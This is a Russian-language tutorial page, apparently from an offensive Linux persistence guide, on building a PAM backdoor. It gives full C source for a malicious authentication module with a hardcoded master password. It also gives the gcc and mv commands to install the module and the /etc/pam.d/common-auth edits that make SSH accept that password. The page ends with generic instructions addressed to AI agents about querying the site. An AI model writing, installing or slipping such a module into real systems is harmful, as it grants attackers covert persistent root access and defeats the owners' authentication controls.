# 12 - PAM backdoor

**PAM** - Pluggable Authentication Modules, гибкая система для интеграции различных методов аутентификации в UNIX-подобных системах, привет Sun Microsystems. И есть она почти везде в Linux и UNIX-подобных системах.\
Конфигурация PAM осуществляется через файлы, расположенные в каталоге <mark style="color:purple;">/etc/pam.d/</mark> \
Там же определяются правила  для различных сервисов (например:  <mark style="color:red;">login, ssh, su, sudo</mark>).\
Плюс PAM управляет аутентификацией (например: <mark style="color:red;">auth, account, password, session</mark>).\
\
Замечательно, если у PAM такие возможности, то можно написать свой модуль PAM, в котором будет заХардКоден универсальный root пароль. То есть у рута будет 2 пароля, первый - легитимный установленный админом и второй - наш, который хранится во вредоносном PAM модуле.\
Не забудьте установить пакеты в ваш дистрибутив для сборки модуля, для debian это:\ <mark style="color:green;">libpam0g-dev</mark>

```c
// Создаем модуль на СИ  backdoor.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
 
#define MYPASSWD "doom001"
 
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
 
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
 
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) {
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);
 
if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
return PAM_SUCCESS;
 
return -1;
}

```

```bash
// Компилируем модуль и переносим в папку с остальными модулями (пути могу отличаться)
gcc -shared -fPIC -ldl -o backdoor.so backdoor.c
mv backdoor.so /lib/x86_64-linux-gnu/security/
```

```bash
// Ищем строку в /etc/pam.d/common-auth
auth    [success=1 default=ignore]  <имя модуля> 
// и приводим ее к виду:
auth	sufficient	<имя модуля>    


// И следующей строкой дописываем наш модуль
auth	sufficient	backdoor.so

```

<figure><img src="/files/vhg7CUesXd4ipyQEPmod" alt=""><figcaption></figcaption></figure>

Теперь при логине по SSH нас будет пускать с паролем <mark style="color:green;">doom001</mark>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reeves0x0.gitbook.io/linux-under-attack/persistence/12-pam-backdoor.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
